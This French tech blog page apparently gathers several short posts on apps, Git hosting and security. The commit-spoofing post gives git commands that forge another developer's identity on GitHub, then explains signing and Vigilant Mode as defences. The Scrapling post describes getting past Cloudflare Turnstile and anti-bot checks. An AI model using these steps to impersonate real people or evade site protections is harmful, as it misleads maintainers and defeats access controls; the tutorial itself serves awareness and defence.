Côté fonctionnalités, vous avez donc le suivi quotidien classique avec objectif personnalisé, des graphiques hebdo, des cartes thermiques mensuelles, le suivi des séries de jours réussis et 3 widgets à mettre sur écran d'accueil.

Par contre, ça marche pas pour suivre votre conso de bière, désolé mes amis Chouffinistes ^^

Et puis surtout, y'a l'intégration Health Connect ce qui permet à HydroTracker de lire et écrire dans la base santé Android partagée par Samsung Health, Google Fit, Fitbit, Garmin ou Strava. Comme ça, toutes vos données sont centralisées !

Alors j'sais pas si vous avez déjà tracké votre consommation d'eau mais la plupart des apps d'hydratation se contentent de compter les verres d'eau. Cem, lui, s'appuie sur le Beverage Hydration Index (y'a une étude à ce sujet publiée dans l'American Journal of Clinical Nutrition ) et applique des coefficients différents selon les boissons, avec les seuils EFSA pour l'Europe et IOM pour les US. Un verre de lait équivaut par exemple à 1,5 fois sa quantité d'eau, et un soluté de réhydratation orale aussi. C'est logique vu la composition réelle, et pourtant aucune app grand public ne pousse le bouchon aussi loin niveau finesse !

Les analytics d'HydroTracker, façon dashboard scientifique

Et le gros morceau, vous l'aviez deviné, c'est surtout la confidentialité. Prenez par exemple Water Reminder, une app concurrente bien installée sur Android. Hé bien avec elle, vos heures de prise d'eau, votre régularité, votre comportement, tout part chez Google.

Alors que HydroTracker, lui, garde tout en local et la synchro Health Connect reste bien sûr à 100% optionnelle. Bref, si vous tenez à votre indépendance numérique vis-à-vis des géants américains , et que vous aimez rester hydraté, c'est l'app idéale !

L'app est sous licence GPL v3, dispo sur le Play Store (et bientôt sur F-Droid), ou en APK direct depuis les releases GitHub . Par contre, pas de version iOS pour l'instant. Ah et j'oubliais, les notifications de l'app s'adaptent à votre cycle de sommeil, donc elle ne vous harcelera pas la nuit. C'est con dit comme ça, mais peu d'apps le font.

Voilà, si vous voulez creuser le code, c'est sur GitHub et Cem a même sa page perso sur cmckmk.com .

Merci à Alex pour le tip !

Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.

La boucle est bouclée, mes amis !

Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.

Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.

Ça bosse fort !

Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.

L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!

Les options de Notchi

Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.

Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.

Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.

Et un grand merci à Camille Roux pour le partage !

GitLike - Le GitHub décentralisé sur IPFS

Branislav Đalić, un dev serbe basé à Belgrade, vient de balancer un projet plutôt original baptisé GitLike . Il s'agit d'un GitHub décentralisé qui stocke vos repos sur IPFS et remplace le mot de passe par votre clé Ethereum (votre wallet quoi...).

Vous connectez votre wallet via SIWE (le standard EIP-4361, signature dans MetaMask ou WalletConnect), vous créez un repo, et hop, chaque commit, chaque fichier, chaque arbre devient un objet IPFS adressé par son CID. Tout pareil que Git côté usage, sauf que derrière y'a pas de serveur GitHub mais un simple Worker Cloudflare qui orchestre Pinata ou Filebase pour pinner vos données.

Côté install, la doc propose tout simplement de faire un npm install -g gitlike avec ensuite l'utiliser avec les commandes Git habituelles (init, clone, push, pull, branch), sauf que le package n'est pas encore publié sur npm public pour l'instant. Du coup, faudra patienter ou aller chercher le code directement dans le repo GitHub si vous voulez bricoler dès aujourd'hui.

La doc officielle mais l'install npm marche pas.

L'architecture tient en 3 étages bien séparés. Votre navigateur s'occupe de l'interface et de la signature avec le wallet, un petit serveur Cloudflare joue les videurs en backend (qui a le droit d'écrire, dans quel ordre, à quelle vitesse), et IPFS stocke tout le code en mode décentralisé via Pinata ou Filebase.

Et si vos repos doivent rester privés, vous pouvez activer un chiffrement qui se fait directement dans votre navigateur, comme ça personne d'autre ne lit vos fichiers en clair. En gros, votre onglet de navigateur fait office de vitrine, le Worker joue le mec de la sécu, et IPFS sert de coffre-fort distribué.

Le truc cool, c'est que GitLike peut importer votre code directement depuis GitHub ou GitLab, donc migrer un projet existant ne prend que quelques clics ! Et vous retrouvez tout le confort moderne, à savoir les pull requests avec gestion des conflits, des règles de protection sur les branches sensibles, et même un système pour déléguer l'écriture à un agent IA avec un périmètre limité dans le temps et l'espace (genre, commit uniquement sur telle branche, et seulement pendant 24h).

Sympa, donc, pour vibe coder avec un agent 100% autonome sans pour autant lui filer toutes vos clés et qu'il ne détruise tout dans une apocalypse nucléaire (Quoi, j'en fais trop ?)

Après même si l'idée semble sympa, je trouve que ça déplace le risque plutôt que de le faire disparaître. Parce que si vous paumez votre wallet, vous perdez l'accès en écriture (et possiblement en lecture si c'est chiffré) à tous vos repos, et y'a plus qu'à recommencer. Donc sauvegarder votre seed phrase (les 12 ou 24 mots de récupération du wallet, vous savez) est donc critique !

Quand on voit le rythme auquel GitHub colle ses nouveautés derrière Copilot Pro, c'est peut-être une solution intéressante que de décentraliser tout ça. J'ai fait un article aussi sur Patreon pour tous ceux qui voudraient se barrer de Github.

Côté concurrence, vous trouverez également Radicle qui fonctionne en peer-to-peer pur (mais demande un daemon local) ou l'ancien Mango (Ethereum + IPFS, mais plus trop maintenu). GitLike, lui, mise tout sur le navigateur et votre wallet, donc c'est plus simple !

Après c'est jeune et faut voir ça plus comme un proof of concept solide qu'un GitHub-killer. Mais ça tient bien la route et je trouve l'idée d'un Git contrôlé par un wallet ethereum plutôt classe. C'est peut-être ça le vrai web3 ;)))

Allez donc jeter un œil à gitlike.dev !

GitHub commit spoofing - Quand n'importe qui peut être Linus

Vous avez confiance dans le nom qui est affiché à côté d'un commit GitHub ?

Bah vous pouvez arrêter tout de suite car le chercheur Shani Lavi a documenté il y a quelques années ce que les devs Git sérieux savent depuis longtemps : N'importe qui peut publier un commit avec n'importe quelle identité, et bien sûr, on peut systématiquement compter sur GitHub pour lier ce commit au profil correspondant sans broncher.

Allez, petite démonstration récente... Sur le repo no-as-a-service , il y a par exemple un commit signé "torvalds" qui ajoute un témoignage humoristique de Linus Torvalds dans le README. L'avatar de Linus s'affiche, et GitHub considère ça comme un commit parfaitement valide. Sauf que Linus n'a évidemment jamais touché ce projet humoristique qui est une petite API qui sort des excuses créatives pour dire "non".

Et ce qui est fou, c'est que vous pouvez faire pareil en dix secondes, et c'est ce qu'on va faire ensemble. Mais avant...

Pourquoi Git laisse passer ça

Git, à la base, c'est un système distribué. Quand vous faites un commit, votre client local prend alors deux infos dans votre config : user.name et user.email. Ces deux champs sont libres, et jamais validés côté client. Vous pouvez donc écrire ce que vous voulez dedans, et Git s'en fiche.

Côté GitHub, l'attribution se fait par l'email. Le service regarde alors l'email présent dans les métadonnées du commit, le compare aux emails enregistrés sur les comptes, et affiche le profil + l'avatar Gravatar correspondant. En fait, il n'y a aucune vérification que la personne qui a poussé le commit possède réellement cette adresse email.

Du coup, n'importe qui qui connaît votre email public (et il est public si vous avez déjà commit en clair sur un repo) peut publier des commits avec votre identité affichée.

Étape 1 : Reproduire le spoofing (à but pédagogique évidemment)

Avant de paniquer, faisons l'exercice nous-mêmes pour bien comprendre. Dans un repo de test que vous contrôlez :

# 1. Visualiser un commit cible pour récupérer name + email
git log --format='%an <%ae>' | head -3

# 2. Reconfigurer Git avec une fausse identité
git config --global --replace-all user.name "Linus Torvalds"
git config --global --replace-all user.email "torvalds@linux-foundation.org"

# 3. Vérifier la config
git config --global --list | grep user

# 4. Faire un commit normal
echo "Hello from Linus" >> README.md
git add README.md
git commit -m "Important kernel fix"

# 5. Pousser sur votre repo
git push origin main

Allez voir le commit sur GitHub. Vous verrez l'avatar de Linus, son nom cliquable qui mène vers son profil, et surtout aucun avertissement. Pas de mot de passe demandé ni de token compromis... non, non, non, c'est juste une config locale modifiée.

Et si quelqu'un fait un fork de votre repo, ou si un mainteneur peu attentif valide un PR sur cette base, l'illusion est complète.

Étape 2 : Repérer un commit douteux

Pour ça, le badge Verified reste l'indicateur le plus utile. À côté du SHA d'un commit, GitHub affiche surtout une étiquette verte "Verified" si le commit est cryptographiquement signé avec une clé GPG ou SSH enregistrée sur le compte de l'auteur. Sinon, y'a rien du tout (par défaut). Attention quand même, l'absence de badge ne veut pas dire qu'un commit est malveillant mais juste qu'on ne peut pas garantir qui l'a écrit.

Par exemple, si vous regardez le commit e6b4218 sur no-as-a-service, vous remarquerez l'absence totale de badge. C'est le signal mais il faut encore savoir le chercher car par défaut, GitHub n'affiche AUCUN avertissement pour les commits non signés. C'est surtout ça le problème...

Étape 3 : Signer vos commits avec SSH

Alors pour vous protéger de ça, ça commence chez vous. Plus simple que GPG, la signature SSH utilise une clé que vous avez probablement déjà. Générez une clé Ed25519 si ce n'est pas fait :

ssh-keygen -t ed25519 -C "votre@email.com"

Configurez Git pour signer automatiquement avec cette clé :

git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/id_ed25519.pub
git config --global commit.gpgsign true
git config --global tag.gpgsign true

Dernière étape, ajoutez votre clé publique sur GitHub dans Settings → SSH and GPG keys (1), mais cette fois en sélectionnant le type Signing Key (pas Authentication Key, c'est différent) (2). Vos prochains commits afficheront le badge "Verified" en vert.

Si vous préférez GPG, le principe est identique avec gpg.format gpg et une clé GPG. Pour le détail GPG complet, j'avais déjà couvert le sujet dans le tuto sur Thunderbird et GPG .

Étape 4 : Activer Vigilant Mode

Là, on passe à l'offensive. Vigilant Mode (3) force GitHub à afficher un statut sur tous vos commits. Les signés deviennent "Verified", les non signés deviennent "Unverified" en gros et bien visible. Plus de zone grise comme ça.

Direction même endroit dans Settings → SSH and GPG keys → Vigilant mode → Flag unsigned commits as unverified. Cochez la case. À partir de là, n'importe quel commit que GitHub vous attribue (via votre email vérifié) sans signature sera affiché comme "Unverified", ce qui rend le spoofing beaucoup plus difficile à dissimuler. Petite limite par contre, ça ne protège que votre propre identité et pas celle des contributeurs qui n'ont pas activé le mode.

La position de GitHub (et pourquoi je trouve ça discutable)

GitHub considère ce comportement comme un non-bug. Sur leur page bug bounty, l'usurpation par email Git est explicitement listée comme ineligible. Leur argument c'est que ça ne donne pas accès aux repos ni de privilèges supplémentaires, donc ce n'est pas une faille au sens strict.

Sauf que dans la vraie vie, l'identité affichée influence les décisions. Par exemple, un mainteneur qui voit un PR signé d'un contributeur connu va l'examiner avec moins de paranoïa, un journaliste qui couvre un scandale va citer "le commit de tel développeur" sans vérifier la signature, et combiné à d'autres vecteurs, ça peut devenir redoutable ! Je pense surtout aux attaques supply chain récentes type Shai-Hulud où une fois le code piégé, l'attribution Git aide à le faire passer pour légitime.

Bref, dire "ce n'est pas un bug" parce qu'il faut un autre vecteur derrière, c'est un peu facile, je trouve. Voilà, donc ne comptez pas sur Github pour vous défendre et signez vos commits, activez Vigilant Mode, et apprenez à vos collègues et amis dev à vérifier le badge "Verified" avant de merger quoi que ce soit en venant d'un inconnu... même si c'est ce bon cher Linus qui propose de réécrire le kernel en Rust avec systemd intégré ^^.

Source

VS Code signe vos commits avec Copilot, même sans Copilot

Si vous avez committé du code depuis VS Code depuis mi-avril, allez tout de suite vérifier vos messages de commit car vous avez peut-être un nouveau co-auteur que vous n'avez jamais embauché.

En effet, Microsoft a discrètement basculé le réglage par défaut de l'éditeur pour ajouter Co-authored-by: Copilot <copilot@github.com> à des commits que VS Code considérait à tort comme contenant des contributions IA, même quand vous n'avez pas utilisé Copilot, et même quand vous avez explicitement désactivé toutes les fonctions IA.

Quelle lose, hein ? La Product Manager Courtney Webster a poussé cette fameuse pull request #310226 des enfers le 15 avril dernier sans aucune description, et le dev dmitrivMS l'a mergée tranquillou le lendemain.

Et le résultat de tout ce bordel, vous pouvez le lire dans la PR #310226 qui a explosé sur GitHub : 372 pouces baissés contre 2 levés, 30 réactions "confused", et des dizaines de commentaires furieux.

L' issue de suivi #314311 , ouverte ensuite par dmitrivMS pour faire son point public, a elle aussi reçu un torrent de réactions virulentes. Tu m'étonnes, ils font vraiment n'importe quoi...

Maintenant si vous êtes dans ce cas, vous pouvez neutraliser ça immédiatement, ajoutez dans votre settings.json :

"git.addAICoAuthor": "off"

Ghostty quitte GitHub - Hashimoto craque après 18 ans

"GitHub n'est plus un endroit pour faire du travail sérieux."

C'est signé Mitchell Hashimoto, le créateur de HashiCorp, de Vagrant ou plus récemment de Ghostty, et l'utilisateur numéro 1299 de la plateforme depuis février 2008.

Et quand un mec qui a passé 18 ans à pousser du code presque tous les jours sur Github annonce qu'il se casse, bah ça vaut clairement le coup de comprendre pourquoi.

L'annonce est tombée hier : Ghostty , le terminal en Zig pour macOS et Linux va quitter la plateforme. Pas tout de suite, pas brutalement, mais la décision est prise. Hashimoto précise qu'il discute "avec plusieurs fournisseurs (commerciaux comme FOSS)" pour choisir la nouvelle maison pour son code, et qu'un miroir en lecture seule restera accessible sur l'URL GitHub actuelle pour ne pas casser les liens des PRs et des issues. La migration sera, je cite, "aussi incrémentale que possible" pour les contributeurs.

Mais alors, qu'est-ce qui a déclenché cette situation ? Hé bien la semaine du 20 avril a été vraiment catastrophique ! Tout d'abord, le 22 avril, l'agent Copilot et le traitement des commentaires de PR sont tombés une demi-journée à cause d'une erreur de sérialisation. Le 23 avril, c'était encore pire puisqu'un bug dans la merge queue a produit des merges incorrects pour les PRs fusionnées en mode squash quand le groupe contenait plus d'une PR.

Cette situation a même été carrément reconnue officiellement par GitHub, puisque 2092 pull requests ont été affectées ... du coup des changements précédemment mergés se sont retrouvés involontairement annulés par les merges suivants. Ensuite, le 27 avril, rebelote sur les Github Actions.

Bref, comme le dit Hashimoto dans The Register : "je ne peux plus coder avec GitHub".

Hashimoto fait état d'un attachement quasi sentimental avec la plateforme. Il a lancé Vagrant en partie pour impressionner GitHub, en espérant secrètement décrocher une embauche un jour. Embauche qui n'est jamais venue, mais l'attachement est resté. "J'aime GitHub plus qu'on devrait aimer une chose", écrit-il, "et je suis en colère contre lui".

C'est pas de la posture donc puisqu'il a vécu depuis 2008 toute l'histoire de la plateforme en passant par le rachat par Microsoft en 2018 jusqu'à l'âge Copilot. Et c'est ce qui rend sa décision vachement intéressante car c'est pas un libriste hardcore qui crachait déjà sur GitHub avant le rachat. Non, c'est un vrai fidèle de la première heure !

Mitchell Hashimoto ( Source )

Alors ses raisons sont-elles valables ?

Pour vous la faire courte, c'est OUI ! Mais ma réponse longue mérite un peu de nuance quand même, parce que c'est jamais aussi simple.

Côté faits, son constat est vraiment étayé. GitHub a publiquement reconnu sur son blog officiel que ses récentes pannes sont dues à "une croissance rapide, un couplage architectural et des limitations de gestion de charge". Pas de complot donc mais un aveu honnête.

Quand votre infra ne tient plus la charge et que vos services principaux tombent quasi quotidiennement, vendre du cloud computing devient trèèèès compliqué. Alors pour un projet open source qui dépend des Actions pour ses tests automatiques, des PRs pour les contributions extérieures, ou des Issues pour son support... 2 heures de blocage par jour, c'est franchement énorme et ça casse bien les couilles.

C'est l'équivalent d'un quart de la journée de travail balayé et sur un trimestre, ça commence à coûter super cher en énergie mentale...

Maintenant, Hashimoto souhaite quand même conserver ses projets personnels sur GitHub. Seul Ghostty migre, donc ce n'est pas non plus un boycott idéologique de Microsoft, ni une croisade contre la centralisation. C'est surtout une décision pragmatique pour un projet collectif qui doit fonctionner H24.

Un dépôt perso peut se permettre une heure de downtime sans drama. Je le précise pour éviter de transformer le sujet en guerre culturelle prêt à penser. C'est plus un divorce avec négociation qu'une révolution sanguinaire.

Après y'a des alternatives... De leur côté, Codeberg et Forgejo tournent super bien sans oublier GitLab pour ceux qui préfèrent du commercial all-in-one, ou tout simplement Gitea ou Forgejo en version auto-hébergée pour ceux qui veulent vraiment garder la main.

L'auto-hébergement n'a jamais été aussi accessible . Un VPS Linux à 5 balles par mois, un Forgejo en Docker compose, un fournisseur de CI externe ou des runners locaux... et vous avez une forge équivalente à un GitHub des années 2015. Le hic, c'est surtout l'effet réseau car un mainteneur peut migrer son repo, mais comment ramener ses contributeurs qui ont toutes leurs notifs, leurs follows, leur réputation accumulée sur GitHub ?

C'est pas si simple...

Car c'est là que ça coince vraiment. En fait, le verrou n'est pas technique, il est social, et c'est pas demain matin qu'on le fera sauter. Ghostty peut se permettre de quitter GitHub précisément parce que le projet a atteint la masse critique où les contributeurs viennent même quand on déménage mais la plupart des projets open source n'ont pas ce luxe.

Pour eux, partir de GitHub c'est risquer de perdre 90 pourcent de leur visibilité du jour au lendemain. Et sans visibilité, pas de contributeurs et pas de PRs... du coup le projet se plante avant même de démarrer. C'est dommage !

Notez quand même que Forgejo travaille d'ailleurs activement sur la fédération via ActivityPub , et à terme, ça pourrait permettre une vraie décentralisation des forges sur le modèle de Mastodon. Mais à condition que l'écosystème suive...

Maintenant, pour les mainteneurs qui se reconnaissent dans la frustration de Hashimoto, le moment est plutôt favorable, je trouve, pour aller tester Codeberg sur un projet secondaire avant de peut-être déménager votre projet principal.

Tout ça est faisable en un week-end ou deux. Certes, il y a un petit coût à cette migration, mais disons que c'est un investissement pour la sérénité de demain.

Bref, un gros big up à Hashimoto pour son courage !

Source

Scrapling - Le scraper Python qui se répare tout seul

Le scraping web, c'est un combat permanent contre les sites qui changent leur HTML toutes les deux semaines. Vous vous emmerdez à coder vos sélecteurs CSS, ça marche pendant un mois, puis le site refait son design et hop, votre script s'eteint en silence. C'est pourquoi Karim Shoair (alias D4Vinci sur GitHub) a sorti Scrapling, un framework Python qui s'adapte tout seul quand le DOM bouge.

La clé c'est adaptive=True sur n'importe quel sélecteur. Vous lui dites "je cherchais .product", Scrapling sauvegarde alors la signature de l'élément (texte, attributs, position dans l'arbre), et la prochaine fois que le site a renommé sa classe, il retrouve l'élément via similarité.

Concrètement ça donne ça :

from scrapling.fetchers import StealthyFetcher
StealthyFetcher.adaptive = True
page = StealthyFetcher.fetch('https://example.com', headless=True)
product = page.css_first('.product', adaptive=True) # Retrouve l'élément même si la classe a changé

Le truc marche grâce à un algo de similarité maison qui compare la structure DOM autour de l'élément. L'auteur lui-même a écrit un long post Medium intitulé " Creating self-healing spiders with Scrapling in Python without AI ", et ça résume bien la philosophie : pas de modèle IA mais juste des heuristiques solides !

La doc précise que adaptive=True ne sauvegarde que le premier élément de la sélection. Du coup si vous récupérez 50 produits d'un coup avec .css('.product'), seul le premier sera adapté. Faudra donc soit utiliser css_first comme dans l'exemple, soit boucler manuellement et appeler adaptive sur chaque élément. C'est bon à savoir...

Y'a également 3 fetchers selon le besoin. Fetcher pour les requêtes HTTP rapides avec spoofing TLS, StealthyFetcher qui passe Cloudflare Turnstile via un navigateur furtif (Camoufox sous le capot), et DynamicFetcher qui lance un Chromium ou un Chrome via Playwright pour les sites lourds en JS. Du coup vous pouvez démarrer léger en HTTP et basculer vers un navigateur uniquement quand un site bloque, sans réécrire votre code.

Côté perfs, le README annonce du lourd : 2 ms pour extraire 5000 éléments contre 1584 ms pour BeautifulSoup avec lxml. Sauf que Parsel et Scrapy font aussi 2 ms. Donc le gain vient du moteur lxml utilisé en direct, ce qui veut dire que si vous étiez déjà sur Scrapy, vous ne gagnerez pas en vitesse brute. Mais si vous traînez encore du BS4 partout, le saut sera énorme !

Sur le terrain anti-bot, ça se compare bien à Botasaurus dont je vous avais parlé. La différence c'est que Scrapling embarque un ProxyRotator natif et propose un blocage d'ads/trackers (~3500 domaines) activable via block_ads=True ou automatique en mode MCP, ce qui simplifie la vie quand vous tournez sur un serveur (où les IPs des datacenter se font régulièrement filtrer). Botasaurus, lui, vous laisse gérer la rotation à la main.

Détail sympa pour les bidouilleurs : y'a également un serveur MCP est intégré (pip install "scrapling[ai]"). Du coup Claude ou Cursor peuvent piloter Scrapling directement pour extraire des données, en réduisant la consommation de tokens car l'IA ne voit pas tout le HTML brut, juste ce qui est extrait. Pour les agents qui scrappent en boucle, c'est cool.

Notez que les sponsors Platinum du projet sont tous des fournisseurs de proxies (DataImpulse, BirdProxies, Evomi, etc.). C'est logique vu l'usage du framework, mais gardez en tête que pour bypasser un Cloudflare sérieux à grande échelle, vous aurez besoin de proxies résidentiels payants, donc d'eux. L'outil est gratuit, mais le contournement industriel ne l'est pas.

Pour installer, c'est pip install "scrapling[fetchers]" puis scrapling install pour récupérer les binaires navigateur. Une image Docker existe aussi (pyd4vinci/scrapling) et y'a même un shell interactif (scrapling shell) pour debugger vos sélecteurs en live.

Bref, c'est carrément pas mal pour ceux qui scrapent régulièrement. Alors si BS4 vous fait pleurer, allez voir par ici .

Et merci à Letsar pour le lien !

parallel-rsync - Empiler les rsync en parallèle sans galère

Vous synchronisez 4 ou 5 dossiers vers plusieurs serveurs avec rsync ? Alors vous connaissez ce sketch quand un job mouline pendant que les autres font la queue, parce que rsync de base c'est mono-thread et ça avance en file indienne.

Hé bien y'a un petit utilitaire Python qui dégoupille tout ça, pondu par overflowy. Ça s'appelle parallel-rsync et le nom annonce la couleur !

L'idée c'est de pouvoir empiler plusieurs jobs rsync en parallèle, avec une config YAML pour piloter le tout. Vous décrivez vos sources et destinations dans sync.yml, vous lancez parallel-rsync -c sync.yml --workers 4 --max-per-host 2, et hop, ça parallélise.

Le bougre tourne sur un ThreadPoolExecutor Python 3 qui spawn N processus rsync système avec un cap global et un cap par hôte. Et pendant ce temps, des barres de progression vous affichent l'avancement de chaque transfert sans que la console parte en sucette.

La dernière fois, je vous parlais de rsyncy qui collait juste une barre de progression à un rsync solo mais là, on monte clairement d'un cran avec une orchestration multi-cibles.

--workers cap c'est donc le nombre total de processus rsync simultanés (4 par défaut). --max-per-host limite la concurrence par destination (2 par défaut, histoire de ne pas saturer un seul serveur, parce que oui, balancer 8 rsync sur la même machine c'est juste se tirer une balle dans le pied côté I/O).

--timeout met une laisse à chaque rsync, --dry-run ajoute le flag à toutes les commandes pour tester avant de tirer, et --no-progress débraye les barres si vous voulez juste les logs. Côté logging, --log-file et --log-level font également le job.

Par contre y'a pas de retry automatique donc si une session SSH coupe en plein transfert, faudra relancer à la main. C'est logique mais un peu dommage.

Sur un homelab, ce genre de config YAML permet de résoudre le problème des synchros récurrentes avec un seul fichier centralisé au lieu de 8 scripts shell.

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/parallel-rsync/parallel-rsync-1.mp4">lien vers la vidéo</a>.

Les cartes bancaires biométriques sont-elles une vraie avancée ou du bullshit marketing ?

Depuis quelques jours, plusieurs médias français ressortent cette merveilleuse histoire de la carte bancaire à empreinte digitale comme s'il s'agissait d'une révolution imminente ! Par exemple l'Indépendant titre carrément "le code à quatre chiffres c'est bientôt fini". Toudoum !!

Sauf que la techno, conçue par Thales et IDEMIA , est commercialisée en Europe depuis 2021 quand même. Et plus drôle encore, c'est que BNP Paribas a fermé la commercialisation de sa première version le 8 décembre 2025, soit bien avant que la presse en fasse un sujet d'actualité "frais".

La carte F.CODE d'IDEMIA, l'un des deux principaux fabricants de cartes biométriques en Europe avec Thales (crédit : IDEMIA).

Donc bon, on va remettre les pendules à l'heure ensemble, parce que le sujet mérite mieux qu'un communiqué de presse recopié à la chaîne par dix rédactions. Je vous propose donc de remettre un peu tout ça à plat parce que je lis quand même pas mal de conneries.

Tout d'abord, il faut savoir que le principe technique derrière ces CB est solide, faut le reconnaître. Vous posez le pouce sur un petit capteur de quelques millimètres intégré à la carte, le module Secure Element (l'équivalent du coffre-fort embarqué) compare l'empreinte au gabarit stocké dans la puce, et si ça matche, le paiement passe en moins d'une seconde !

Le mot-clé c'est d'ailleurs "match-on-card". Cela veut dire que la comparaison se fait localement, et donc que l'empreinte ne sort jamais de la carte, ni vers le commerçant, ni vers la banque, ni vers un serveur quelque part. C'est donc exactement le même délire que Touch ID ou Face ID chez Apple, et c'est ce qui distingue ce système d'une base biométrique centralisée façon ANT, dont on a vu cette année à quel point ça pouvait mal finir (looool).

Côté sécurité, y'a beaucoup de vrais points positifs. Le code PIN à quatre chiffres, c'est dix mille combinaisons. Avec un peu de skimming sur un terminal compromis et une caméra cachée au-dessus du clavier, vous pouvez tout récupérer encore plus facilement. Sans parler des PIN type 1234, 0000 ou date de naissance qui représentent une part énorme des codes en circulation selon les analyses de DataGenetics (1234 représente à lui seul environ 10,7% des PIN observés sur 3,4 millions de codes analysés).

La biométrie vient donc tuer ce vecteur d'attaque d'un coup. Ainsi, si quelqu'un vole votre carte, il ne peut rien en faire, en théorie, sans votre doigt. Faudra avoir un bon sécateur ^^. Et niveau conformité, ça rentre pile-poil dans le cadre PSD2 et l'authentification forte du client puisque la biométrie remplace le facteur "savoir" (le PIN) par un facteur "inhérence" (votre corps), ce qui valide les deux facteurs requis avec la possession de la carte. Une fois encore c'est comme avec l'iPhone et FaceID / TouchID quand on se connecte quelque part.

Sauf que voilà, c'est là que les médias arrêtent de creuser. Et y'a beaucoup de choses à creuser, croyez-moi ! Perso je trouve ça assez "gênant" (comme disent les zados... "Annnnh la génance !!") qu'on nous présente un sujet sécurité aussi important comme si on nous vendait des yaourts.

Parce que d'abord, le code PIN ne disparaît pas, sauf si vous avez la chance d'avoir une banque qui vous laisse le désactiver explicitement (et bonne chance pour trouver l'option dans les CGV). Hé oui, quasi toutes les implémentations que j'ai pu voir passer, gardent un bon gros fallback PIN pour les cas où le capteur foire (doigt mouillé, sale (sacré lulu), blessure, capteur défaillant) ou pour les retraits au DAB.

Or, vous le savez parce que vous avez Bac+18 en bon sens, la sécurité globale d'un système est celle de son maillon le plus faible. Donc si le code PIN reste en backup, vous n'avez pas supprimé le maillon faible mais vous l'avez juste rendu optionnel. Et donc un voleur qui sait ça, sera capable de forcer le fallback en simulant un échec biométrique et utiliser le code PIN pour peu qu'il le connaisse. Comme avant quoi...

Donc cette promesse "fin du code à 4 chiffres" est donc un bon gros raccourci marketing, et pas du tout une réalité technique.

Ensuite, autre souci, c'est que la biométrie n'est pas révocable. Donc si demain un labo ou un expert sécu arrive à extraire un gabarit d'empreinte d'un Secure Element compromis (ça s'est déjà vu sur des puces certifiées EAL5+ par attaques side-channel), vous ne pourrez pas changer votre doigt parce que j'sais pas si vous avez remarqué mais il est bien solidement attaché au sac de viande que vous appelez "Mon summer body" ^^.

Le risque est heureusement limité dans ce cas-ci parce que le gabarit reste sur la carte, mais structurellement, la donnée biométrique EST un mot de passe que vous ne pouvez jamais changer. C'est une contrepartie importante que personne ne mentionne dans les articles grand public.

Sur les attaques physiques par exemple, le Chaos Computer Club qu'on connaît tous, a démontré dès 2013 le bypass de Touch ID avec un moulage en latex fabriqué à partir d'une empreinte laissée sur un verre. Les capteurs intégrés dans une carte bancaire sont plus petits, moins denses en pixels, et n'ont pas la même puissance de calcul pour faire tourner des modèles anti-spoof avancés que ce qui est embarqué dans un iPhone.

Ils sont donc plausiblement PLUS contournables, donc j'imagine qu'un moulage en silicone ou en résine pourra facilement en venir à bout. À ma connaissance, y'a aucun chiffre public sérieux qui n'a été publié par les fabricants sur le taux de succès de ces attaques sur leurs cartes. Comme c'est pratique ;)

Le sujet de la mise sous pression par des affreux bandits, mérite aussi une mention. Parce qu'avec un code PIN, si on vous menace devant un DAB, vous pouvez théoriquement saisir un faux code (certaines cartes ont même une notion de " code sous contrainte " qui bloque la carte directement). Alors qu'avec un doigt, on vous chope la main et force et voilà...

La jurisprudence américaine est d'ailleurs intéressante là-dessus puisqu'un juge peut vous obliger à poser le doigt sur un TouchID, mais pas à donner votre code PIN par respect du 5e amendement. En France le débat est un peu différent mais analogue. C'est un petit détail légal mais personne ne l'aborde non plus pour tout ce qui est sécurité biométrique en général.

L'enrôlement à domicile via smartphone, vendu comme "sécurisé" mais dont le protocole détaillé reste opaque (crédit : IDEMIA).

Autre angle mort, l'enrôlement. En effet, aucun des articles que j'ai lus ne décrit exactement comment l'empreinte arrive dans la puce la première fois. Est-ce que ça se fait en agence, avec un lecteur dédié ? Via une app smartphone qui pousse le gabarit par NFC ?

On en sait rien, mais si c'est la seconde option, le pipeline app + carte est une surface d'attaque qui mérite un audit indépendant, et la promesse de "l'empreinte ne quitte jamais la carte" devient à géométrie variable. Côté Thales et IDEMIA, le marketing parle d'enrôlement à domicile sécurisé, mais les détails du protocole sont peu documentés, tout du moins ce que j'ai pu trouver en libre accès.

